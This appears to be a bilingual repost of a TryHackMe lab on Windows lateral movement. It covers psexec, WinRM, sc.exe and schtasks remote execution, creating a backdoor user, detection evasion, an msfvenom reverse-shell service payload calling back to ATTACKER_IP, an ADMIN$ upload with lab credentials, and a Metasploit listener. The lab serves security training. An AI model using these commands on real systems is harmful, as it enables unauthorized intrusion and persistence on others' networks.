&lt;p&gt;For &lt;u&gt;SSH&lt;/u&gt; access, you can use the following command:&lt;br&gt;对于 SSH 访问，您可以使用以下命令：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ssh za\&amp;lt;****&lt;u&gt;AD&lt;/u&gt;**&lt;/strong&gt; **&lt;strong&gt;Username&amp;gt;@thmjmp2.za.tryhackme.com&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;A Note on Reverse Shells&lt;/h2&gt;
&lt;p&gt;关于反向壳体的说明
If you are using the AttackBox and have joined other network rooms before, be sure to select the IP address assigned to the tunnel interface facing the &lt;strong&gt;lateralmovementandpivoting&lt;/strong&gt; network as your ATTACKER_IP, or else your reverse shells/connections won&amp;#39;t work properly. For your convenience, the interface attached to this network is called &lt;strong&gt;lateralmovement&lt;/strong&gt;, so you should be able to get the right IP address by running &lt;strong&gt;ip add show lateralmovement&lt;/strong&gt;:&lt;br&gt;如果您正在使用 AttackBox 并且之前加入过其他网络机房，请务必选择分配给面向 &lt;strong&gt;lateralmovementandpivoting&lt;/strong&gt; 网络的隧道接口的 IP 地址作为您的ATTACKER_IP，否则您的反向 shell/连接将无法正常工作。为方便起见，连接到此网络的接口称为 &lt;strong&gt;lateralmovement&lt;/strong&gt; ，因此您应该能够通过运行 &lt;strong&gt;ip add show lateralmovement&lt;/strong&gt; 以下命令来获取正确的 IP 地址：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This will be helpful whenever needing to do a reverse connection back to your attacker machine throughout the room.&lt;br&gt;每当需要在整个房间内与攻击者计算机进行反向连接时，这将很有帮助。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Click and continue learning!&lt;br&gt;点击并继续学习！&lt;/p&gt;
&lt;h1&gt;Moving Through the Network&lt;/h1&gt;
&lt;h2&gt;What is Lateral Movement?&lt;/h2&gt;
&lt;p&gt;什么是横向移动？
Simply put, lateral movement is the group of techniques used by attackers to move around a network. Once an attacker has gained access to the first machine of a network, moving is essential for many reasons, including the following: - Reaching our goals as attackers - Bypassing network restrictions in place - Establishing additional points of entry to the network - Creating confusion and avoid detection.&lt;br&gt;简单地说，横向移动是攻击者用来在网络上移动的一组技术。一旦攻击者获得了对网络第一台计算机的访问权限，出于多种原因，移动是必不可少的，包括以下几点： - 实现我们作为攻击者的目标 - 绕过现有的网络限制 - 建立网络的其他入口点 - 制造混乱并避免被发现。&lt;/p&gt;
&lt;p&gt;While many cyber kill chains reference lateral movement as an additional step on a linear process, it is actually part of a cycle. During this cycle, we use any available credentials to perform lateral movement, giving us access to new machines where we elevate privileges and extract credentials if possible. With the newfound credentials, the cycle starts again.&lt;br&gt;虽然许多网络杀伤链将横向移动称为线性过程的附加步骤，但它实际上是循环的一部分。在此周期中，我们使用任何可用的凭据来执行横向移动，从而使我们能够访问新机器，在其中我们提升权限并在可能的情况下提取凭据。使用新发现的凭据，循环将再次开始。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-6.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Usually, we will repeat this cycle several times before reaching our final goal on the network. If our first foothold is a machine with very little access to other network resources, we might need to move laterally to other hosts that have more privileges on the network.&lt;br&gt;通常，在达到网络上的最终目标之前，我们会重复这个循环几次。如果我们的第一个立足点是一台很少访问其他网络资源的机器，我们可能需要横向移动到在网络上具有更多权限的其他主机。&lt;/p&gt;
&lt;h2&gt;A Quick Example 一个简单的例子&lt;/h2&gt;
&lt;p&gt;Suppose we are performing a red team engagement where our final goal is to reach an internal code repository, where we got our first compromise on the target network by using a phishing campaign. Usually, phishing campaigns are more effective against non-technical users, so our first access might be through a machine in the Marketing department.&lt;br&gt;假设我们正在执行一个红队参与，我们的最终目标是到达一个内部代码存储库，在那里我们通过使用网络钓鱼活动在目标网络上获得了第一个妥协。通常，网络钓鱼活动对非技术用户更有效，因此我们的第一次访问可能是通过营销部门的机器。&lt;/p&gt;
&lt;p&gt;Marketing workstations will typically be limited through firewall policies to access any critical services on the network, including administrative protocols, database ports, monitoring services or any other that aren&amp;#39;t required for their day to day labour, including code repositories.&lt;br&gt;营销工作站通常会受到防火墙策略的限制，无法访问网络上的任何关键服务，包括管理协议、数据库端口、监控服务或日常工作不需要的任何其他服务，包括代码存储库。&lt;/p&gt;
&lt;p&gt;To reach sensitive hosts and services, we need to move to other hosts and pivot from there to our final goal. To this end, we could try elevating privileges on the Marketing workstation and extracting local users&amp;#39; password hashes. If we find a local administrator, the same account may be present on other hosts. After doing some recon, we find a workstation with the name DEV-001-PC. We use the local administrator&amp;#39;s password hash to access DEV-001-PC and confirm it is owned by one of the developers in the company. From there, access to our target code repository is available.&lt;br&gt;为了访问敏感主机和服务，我们需要迁移到其他主机，并从那里转向我们的最终目标。为此，我们可以尝试提升 Marketing 工作站的权限并提取本地用户的密码哈希。如果我们找到本地管理员，则其他主机上可能存在相同的帐户。经过一番侦察后，我们找到了一个名为DEV-001-PC的工作站。我们使用本地管理员的密码哈希来访问 DEV-001-PC，并确认它归公司的一位开发人员所有。从那里，可以访问我们的目标代码存储库。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Notice that while lateral movement might need to be used to circumvent firewall restrictions, it is also helpful in evading detection. In our example, even if the Marketing workstation had direct access to the code repository, it is probably desirable to connect through the developer&amp;#39;s PC. This behaviour would be less suspicious from the standpoint of a blue team analyst checking login audit logs.&lt;br&gt;请注意，虽然可能需要使用横向移动来规避防火墙限制，但它也有助于逃避检测。在我们的示例中，即使 Marketing 工作站可以直接访问代码存储库，也可能需要通过开发人员的 PC 进行连接。从蓝队分析师检查登录审核日志的角度来看，这种行为就不那么可疑了。&lt;/p&gt;
&lt;h2&gt;The Attacker&amp;#39;s Perspective&lt;/h2&gt;
&lt;p&gt;攻击者的观点
There are several ways in which an attacker can move laterally. The simplest way would be to use standard administrative protocols like WinRM, RDP, VNC or SSH to connect to other machines around the network. This approach can be used to emulate regular users&amp;#39; behaviours somewhat as long as some coherence is maintained when planning where to connect with what account. While a user from IT connecting to the web server via &lt;u&gt;RDP&lt;/u&gt; might be usual and go under the radar, care must be taken not to attempt suspicious connections (e.g. why is the local admin user connecting to the DEV-001-PC from the Marketing-PC?)&lt;br&gt;攻击者可以通过多种方式横向移动。最简单的方法是使用标准管理协议（如 WinRM、RDP、VNC 或 SSH）连接到网络上的其他计算机。这种方法可以用来在某种程度上模仿普通用户的行为，只要在计划与哪个帐户连接的位置时保持一定的连贯性。虽然来自 IT 的用户通过 RDP 连接到 Web 服务器可能很常见并且不为人知，但必须注意不要尝试可疑连接（例如，为什么本地管理员用户从 Marketing-PC 连接到 DEV-001-PC？.&lt;/p&gt;
&lt;p&gt;Attackers nowadays also have other methods of moving laterally while making it somewhat more challenging for the blue team to detect what is happening effectively. While no technique should be considered infallible, we can at least attempt to be as silent as possible. In the following tasks, we will look at some of the most common lateral movement techniques available.&lt;br&gt;如今，攻击者还有其他横向移动的方法，同时使蓝队难以有效地检测正在发生的事情。虽然任何技术都不应该被认为是万无一失的，但我们至少可以尝试尽可能保持沉默。在以下任务中，我们将介绍一些最常见的横向移动技术。&lt;/p&gt;
&lt;h2&gt;Administrators and &lt;u&gt;UAC&lt;/u&gt; 管理员和 UAC&lt;/h2&gt;
&lt;p&gt;While performing most of the lateral movement techniques introduced throughout the room, we will mainly use administrator credentials. While one might expect that every single administrator account would serve the same purpose, a distinction has to be made between two types of administrators:&lt;br&gt;在执行整个房间中引入的大多数横向移动技术时，我们将主要使用管理员凭据。虽然人们可能期望每个管理员帐户都具有相同的目的，但必须区分两种类型的管理员：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Local accounts part of the local Administrators group&lt;br&gt;本地帐户是本地管理员组的一部分&lt;/li&gt;
&lt;li&gt;Domain accounts part of the local Administrators group&lt;br&gt;本地 Administrators 组的域帐户部分&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The differences we are interested in are restrictions imposed by &lt;strong&gt;User Account Control (&lt;strong&gt;&lt;strong&gt;&lt;u&gt;UAC&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt; over local administrators (except for the default Administrator account). By default, local administrators won&amp;#39;t be able to remotely connect to a machine and perform administrative tasks unless using an interactive session through &lt;u&gt;RDP&lt;/u&gt;. Windows will deny any administrative task requested via RPC, &lt;u&gt;SMB&lt;/u&gt; or WinRM since such administrators will be logged in with a filtered medium integrity token, preventing the account from doing privileged actions. The only local account that will get full privileges is the default Administrator account.&lt;br&gt;我们感兴趣的差异是用户帐户控制 （UAC） 对本地管理员（默认管理员帐户除外）施加的限制。默认情况下，除非通过 RDP 使用交互式会话，否则本地管理员将无法远程连接到计算机并执行管理任务。Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理任务，因为此类管理员将使用筛选的介质完整性令牌登录，从而阻止帐户执行特权操作。唯一将获得完全权限的本地帐户是默认管理员帐户。&lt;/p&gt;
&lt;p&gt;Domain accounts with local administration privileges won&amp;#39;t be subject to the same treatment and will be logged in with full administrative privileges.&lt;br&gt;具有本地管理权限的域帐户不会受到相同的处理，而是使用完全管理权限登录。&lt;/p&gt;
&lt;p&gt;This security feature can be disabled if desired, and sometimes you will find no difference between local and domain accounts in the administrator&amp;#39;s group. Still, it&amp;#39;s essential to keep in mind that should some of the lateral movement techniques fail, it might be due to using a non-default local administrator where UAC is enforced. You can read more details about this security feature &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction&quot;&gt;here&lt;/a&gt;.&lt;br&gt;如果需要，可以禁用此安全功能，有时您会发现管理员组中的本地帐户和域帐户之间没有区别。不过，必须记住，如果某些横向移动技术失败，可能是由于在强制执行 UAC 时使用了非默认本地管理员。您可以在此处阅读有关此安全功能的更多详细信息。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Click and continue learning!&lt;br&gt;点击并继续学习！&lt;/p&gt;
&lt;h1&gt;Spawning Processes Remotely&lt;/h1&gt;
&lt;p&gt;This task will look at the available methods an attacker has to spawn a process remotely, allowing them to run commands on machines where they have valid credentials. Each of the techniques discussed uses slightly different ways to achieve the same purpose, and some of them might be a better fit for some specific scenarios.&lt;br&gt;此任务将查看攻击者远程生成进程的可用方法，允许他们在具有有效凭据的计算机上运行命令。所讨论的每种技术都使用略有不同的方法来实现相同的目的，其中一些可能更适合某些特定场景。&lt;/p&gt;
&lt;h2&gt;Psexec 普塞塞克&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ports:&lt;/strong&gt; 445/&lt;u&gt;TCP&lt;/u&gt; (&lt;u&gt;SMB&lt;/u&gt;) 端口：445/TCP （SMB）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Required Group Memberships:&lt;/strong&gt; Administrators&lt;br&gt;所需的组成员身份：管理员&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Psexec has been the go-to method when needing to execute processes remotely for years. It allows an administrator user to run commands remotely on any PC where he has access. Psexec is one of many Sysinternals Tools and can be downloaded &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/psexec&quot;&gt;here&lt;/a&gt;.&lt;br&gt;多年来，Psexec 一直是需要远程执行流程的首选方法。它允许管理员用户在他有权访问的任何 PC 上远程运行命令。Psexec 是众多 Sysinternals 工具之一，可在此处下载。&lt;/p&gt;
&lt;p&gt;The way psexec works is as follows:&lt;br&gt;psexec 的工作方式如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect to Admin$ share and upload a service binary. Psexec uses psexesvc.exe as the name.&lt;br&gt;连接到 Admin$ 共享并上传服务二进制文件。Psexec 使用 psexesvc.exe 作为名称。&lt;/li&gt;
&lt;li&gt;Connect to the service control manager to create and run a service named PSEXESVC and associate the service binary with &lt;strong&gt;C:\Windows\psexesvc.exe&lt;/strong&gt;.&lt;br&gt;连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务，并将服务二进制文件与 &lt;strong&gt;C:\Windows\psexesvc.exe&lt;/strong&gt; 关联。&lt;/li&gt;
&lt;li&gt;Create some named pipes to handle stdin/stdout/stderr.&lt;br&gt;创建一些命名管道来处理 stdin/stdout/stderr。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-8.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;To run psexec, we only need to supply the required administrator credentials for the remote host and the command we want to run (&lt;strong&gt;psexec64.exe&lt;/strong&gt;** &lt;strong&gt;is available under &lt;strong&gt;C:\tools&lt;/strong&gt; in THMJMP2 for your convenience):&lt;br&gt;要运行 psexec，我们只需要提供远程主机所需的管理员凭据和我们想要运行的命令（ &lt;strong&gt;psexec64.exe&lt;/strong&gt;&lt;/strong&gt; **为方便起见，可在 THMJMP2 中找到 &lt;strong&gt;C:\tools&lt;/strong&gt; ）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Remote Process Creation Using WinRM&lt;/h2&gt;
&lt;p&gt;使用 WinRM 创建远程进程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ports:&lt;/strong&gt; 5985/TCP (WinRM &lt;u&gt;HTTP&lt;/u&gt;) or 5986/&lt;u&gt;TCP&lt;/u&gt; (WinRM HTTPS)&lt;br&gt;端口：5985/TCP （WinRM HTTP） 或 5986/TCP （WinRM HTTPS）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Required Group Memberships:&lt;/strong&gt; Remote Management Users&lt;br&gt;所需的组成员身份：远程管理用户&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Windows Remote Management (WinRM) is a web-based protocol used to send Powershell commands to Windows hosts remotely. Most Windows Server installations will have WinRM enabled by default, making it an attractive attack vector.&lt;br&gt;Windows 远程管理 （WinRM） 是一种基于 Web 的协议，用于将 Powershell 命令远程发送到 Windows 主机。默认情况下，大多数 Windows Server 安装都会启用 WinRM，使其成为有吸引力的攻击媒介。&lt;/p&gt;
&lt;p&gt;To connect to a remote Powershell session from the command line, we can use the following command:&lt;br&gt;若要从命令行连接到远程 Powershell 会话，可以使用以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can achieve the same from Powershell, but to pass different credentials, we will need to create a PSCredential object:&lt;br&gt;我们可以从 Powershell 实现相同的目的，但要传递不同的凭据，我们需要创建一个 PSCredential 对象：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$username = &amp;#39;Administrator&amp;#39;;
$password = &amp;#39;Mypass123&amp;#39;;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we have our PSCredential object, we can create an interactive session using the Enter-PSSession cmdlet:&lt;br&gt;获得 PSCredential 对象后，可以使用 Enter-PSSession cmdlet 创建交互式会话：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Enter-PSSession -Computername TARGET -Credential $credential
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:&lt;br&gt;Powershell 还包括 Invoke-Command cmdlet，它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Remotely Creating Services Using sc&lt;/h2&gt;
&lt;p&gt;使用 sc 远程创建服务&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ports:&lt;/strong&gt;** **&lt;strong&gt;港口：&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;135/&lt;u&gt;TCP&lt;/u&gt;, 49152-65535/&lt;u&gt;TCP&lt;/u&gt; (DCE/RPC)&lt;br&gt;135/TCP、49152-65535/TCP （DCE/RPC）&lt;/li&gt;
&lt;li&gt;445/&lt;u&gt;TCP&lt;/u&gt; (RPC over &lt;u&gt;SMB&lt;/u&gt; Named Pipes)&lt;br&gt;445/TCP（基于 SMB 命名管道的 RPC）445/TCP （RPC over SMB Named Pipes）&lt;/li&gt;
&lt;li&gt;139/&lt;u&gt;TCP&lt;/u&gt; (RPC over &lt;u&gt;SMB&lt;/u&gt; Named Pipes)&lt;br&gt;139/TCP（基于 SMB 命名管道的 RPC）139/TCP （RPC over SMB Named Pipes）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Required Group Memberships:&lt;/strong&gt; Administrators&lt;br&gt;所需的组成员身份：管理员&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Windows services can also be leveraged to run arbitrary commands since they execute a command when started. While a service executable is technically different from a regular application, if we configure a Windows service to run any application, it will still execute it and fail afterwards.&lt;br&gt;Windows 服务也可以用来运行任意命令，因为它们在启动时执行命令。虽然服务可执行文件在技术上与常规应用程序不同，但如果我们配置 Windows 服务以运行任何应用程序，它仍然会执行它并在之后失败。&lt;/p&gt;
&lt;p&gt;We can create a service on a remote host with sc.exe, a standard tool available in Windows. When using sc, it will try to connect to the Service Control Manager (SVCCTL) remote service program through RPC in several ways:&lt;br&gt;我们可以使用 Windows 中可用的标准工具 sc.exe 在远程主机上创建服务。使用 sc 时，它将尝试通过以下几种方式通过 RPC 连接到服务控制管理器 （SVCCTL） 远程服务程序：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A connection attempt will be made using DCE/RPC. The client will first connect to the Endpoint Mapper (EPM) at port 135, which serves as a catalogue of available RPC endpoints and request information on the SVCCTL service program. The EPM will then respond with the IP and port to connect to SVCCTL, which is usually a dynamic port in the range of 49152-65535.&lt;br&gt;将使用 DCE/RPC 进行连接尝试。客户端将首先连接到端口 135 的端点映射器 （EPM），该端口用作可用 RPC 端点的目录，并请求有关 SVCCTL 服务计划的信息。然后，EPM 将使用 IP 和端口进行响应以连接到 SVCCTL，SVCCTL 通常是 49152-65535 范围内的动态端口。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-9.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;If the latter connection fails, sc will try to reach SVCCTL through &lt;u&gt;SMB&lt;/u&gt; named pipes, either on port 445 (&lt;u&gt;SMB&lt;/u&gt;) or 139 (&lt;u&gt;SMB&lt;/u&gt; over NetBIOS).&lt;br&gt;如果后一种连接失败，sc 将尝试通过端口 445 （SMB） 或 139 （SMB over NetBIOS） 上的 SMB 命名管道访问 SVCCTL。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Lateral%20Movement%20and%20Pivoting-10.png&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;We can create and start a service named &amp;quot;THMservice&amp;quot; using the following commands:&lt;br&gt;我们可以使用以下命令创建并启动名为“THMservice”的服务：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sc.exe \\TARGET create THMservice binPath= &amp;quot;net user munra Pass123 /add&amp;quot; start= auto
sc.exe \\TARGET start THMservice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &amp;quot;net user&amp;quot; command will be executed when the service is started, creating a new local user on the system. Since the operating system is in charge of starting the service, you won&amp;#39;t be able to look at the command output.&lt;br&gt;“net user”命令将在服务启动时执行，从而在系统上创建一个新的本地用户。由于操作系统负责启动服务，因此无法查看命令输出。&lt;/p&gt;
&lt;p&gt;To stop and delete the service, we can then execute the following commands:&lt;br&gt;要停止和删除服务，我们可以执行以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Creating Scheduled Tasks Remotely&lt;/h2&gt;
&lt;p&gt;远程创建计划任务
Another Windows feature we can use is Scheduled Tasks. You can create and run one remotely with schtasks, available in any Windows installation. To create a task named THMtask1, we can use the following commands:&lt;br&gt;我们可以使用的另一个 Windows 功能是计划任务。您可以使用 schtasks 远程创建和运行一个，在任何 Windows 安装中都可用。要创建名为 THMtask1 的任务，我们可以使用以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;schtasks /s TARGET /RU &amp;quot;SYSTEM&amp;quot; /create /tn &amp;quot;THMtask1&amp;quot; /tr &amp;quot;&amp;lt;command/payload to execute&amp;gt;&amp;quot; /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN &amp;quot;THMtask1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We set the schedule type (/sc) to ONCE, which means the task is intended to be run only once at the specified time and date. Since we will be running the task manually, the starting date (/sd) and starting time (/st) won&amp;#39;t matter much anyway.&lt;br&gt;我们将计划类型 （/sc） 设置为 ONCE，这意味着该任务打算在指定的时间和日期仅运行一次。由于我们将手动运行任务，因此开始日期 （/sd） 和开始时间 （/st） 无论如何都无关紧要。&lt;/p&gt;
&lt;p&gt;Since the system will run the scheduled task, the command&amp;#39;s output won&amp;#39;t be available to us, making this a blind attack.&lt;br&gt;由于系统将运行计划任务，因此我们无法使用命令的输出，因此这是一种盲目攻击。&lt;/p&gt;
&lt;p&gt;Finally, to delete the scheduled task, we can use the following command and clean up after ourselves:&lt;br&gt;最后，要删除计划任务，我们可以使用以下命令自行清理：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;schtasks /S TARGET /TN &amp;quot;THMtask1&amp;quot; /DELETE /F
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Let&amp;#39;s Get to Work! 让我们开始工作吧！&lt;/h2&gt;
&lt;p&gt;To complete this exercise, you will need to connect to THMJMP2 using the credentials assigned to you in Task 1 from &lt;a href=&quot;http://distributor.za.tryhackme.com/creds&quot;&gt;http://distributor.za.tryhackme.com/creds&lt;/a&gt;. If you haven&amp;#39;t done so yet, click on the link and get credentials now. Once you have your credentials, connect to THMJMP2 via &lt;u&gt;SSH&lt;/u&gt;:&lt;br&gt;若要完成本练习，需要使用任务 1 中分配给您的凭据从 &lt;a href=&quot;http://distributor.za.tryhackme.com/creds&quot;&gt;http://distributor.za.tryhackme.com/creds&lt;/a&gt; 连接到THMJMP2。如果您尚未这样做，请单击链接并立即获取凭据。获得凭据后，通过 SSH 连接到THMJMP2：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ssh za\&amp;lt;****&lt;u&gt;AD&lt;/u&gt;**&lt;/strong&gt; **&lt;strong&gt;Username&amp;gt;@thmjmp2.za.tryhackme.com&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For this exercise, we will assume we have already captured some credentials with administrative access:&lt;br&gt;在本练习中，我们将假设我们已经捕获了一些具有管理访问权限的凭据：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; ZA.TRYHACKME.COM\t1_leonard.summers&lt;br&gt;用户：ZA.TRYHACKME.COM\t1_leonard.summers&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; EZpass4ever 密码：EZpass4ever&lt;/p&gt;
&lt;p&gt;We&amp;#39;ll show how to use those credentials to move laterally to THMIIS using &lt;strong&gt;sc.exe&lt;/strong&gt;. Feel free to try the other methods, as they all should work against THMIIS.&lt;br&gt;我们将展示如何使用这些凭据横向移动到 &lt;strong&gt;sc.exe&lt;/strong&gt; THMIIS。随意尝试其他方法，因为它们都应该对THMIIS有效。&lt;/p&gt;
&lt;p&gt;While we have already shown how to use sc to create a user on a remote system (by using &lt;strong&gt;net user&lt;/strong&gt;), we can also upload any binary we&amp;#39;d like to execute and associate it with the created service. However, if we try to run a reverse shell using this method, we will notice that the reverse shell disconnects immediately after execution. The reason for this is that service executables are different to standard .exe files, and therefore non-service executables will end up being killed by the service manager almost immediately. Luckily for us, msfvenom supports the &lt;strong&gt;exe-service&lt;/strong&gt; format, which will encapsulate any payload we like inside a fully functional service executable, preventing it from getting killed.&lt;br&gt;虽然我们已经展示了如何使用 sc 在远程系统上创建用户（通过使用 &lt;strong&gt;net user&lt;/strong&gt; ），但我们也可以上传我们想要执行的任何二进制文件并将其与创建的服务相关联。但是，如果我们尝试使用此方法运行反向 shell，我们会注意到反向 shell 在执行后立即断开连接。这样做的原因是服务可执行文件与标准.exe文件不同，因此非服务可执行文件最终几乎会立即被服务管理器杀死。幸运的是，msfvenom 支持这种 &lt;strong&gt;exe-service&lt;/strong&gt; 格式，它将我们喜欢的任何有效负载封装在一个功能齐全的服务可执行文件中，防止它被杀死。&lt;/p&gt;
&lt;p&gt;To create a reverse shell, we can use the following command:&lt;br&gt;要创建一个反向 shell，我们可以使用以下命令：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Since you will be sharing the lab with others, you&amp;#39;ll want to use a different filename for your payload instead of &amp;quot;myservice.exe&amp;quot; to avoid overwriting someone else&amp;#39;s payload.&lt;br&gt;注意：由于你将与他人共享实验室，因此需要为有效负载使用不同的文件名，而不是“myservice.exe”，以避免覆盖其他人的有效负载。&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will then proceed to use t1_leonard.summers credentials to upload our payload to the ADMIN$ share of THMIIS using smbclient from our AttackBox:&lt;br&gt;然后，我们将继续使用 t1_leonard.summers 凭据，使用 AttackBox 中的 smbclient 将有效负载上传到 THMIIS 的 ADMIN$ 共享：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ smbclient -c &amp;#39;put myservice.exe&amp;#39; -U t1_leonard.summers -W ZA &amp;#39;//thmiis.za.tryhackme.com/admin$/&amp;#39; EZpass4ever
 putting file myservice.exe as \myservice.exe (0.0 kb/s) (average 0.0 kb/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once our executable is uploaded, we will set up a listener on the attacker&amp;#39;s machine to receive the reverse shell from &lt;strong&gt;msfconsole&lt;/strong&gt;:&lt;br&gt;上传可执行文件后，我们将在攻击者的机器上设置一个侦听器，以接收来自 &lt;strong&gt;msfconsole&lt;/strong&gt; 以下位置的反向 shell：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfconsole
msf6 &amp;gt; use exploit/multi/handler
msf6 exploit(multi/handler) &amp;gt; set LHOST lateralmovement
msf6 exploit(multi/handler) &amp;gt; set LPORT 4444
msf6 exploit(multi/handler) &amp;gt; set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) &amp;gt; exploit 

[*] Started reverse TCP handler on 10.10.10.16:4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, you can run the following one-liner on your &lt;u&gt;Linux&lt;/u&gt; console to do the same:&lt;br&gt;或者，您可以在 Linux 控制台上运行以下单行代码来执行相同的操作：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfconsole -q -x &amp;quot;use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
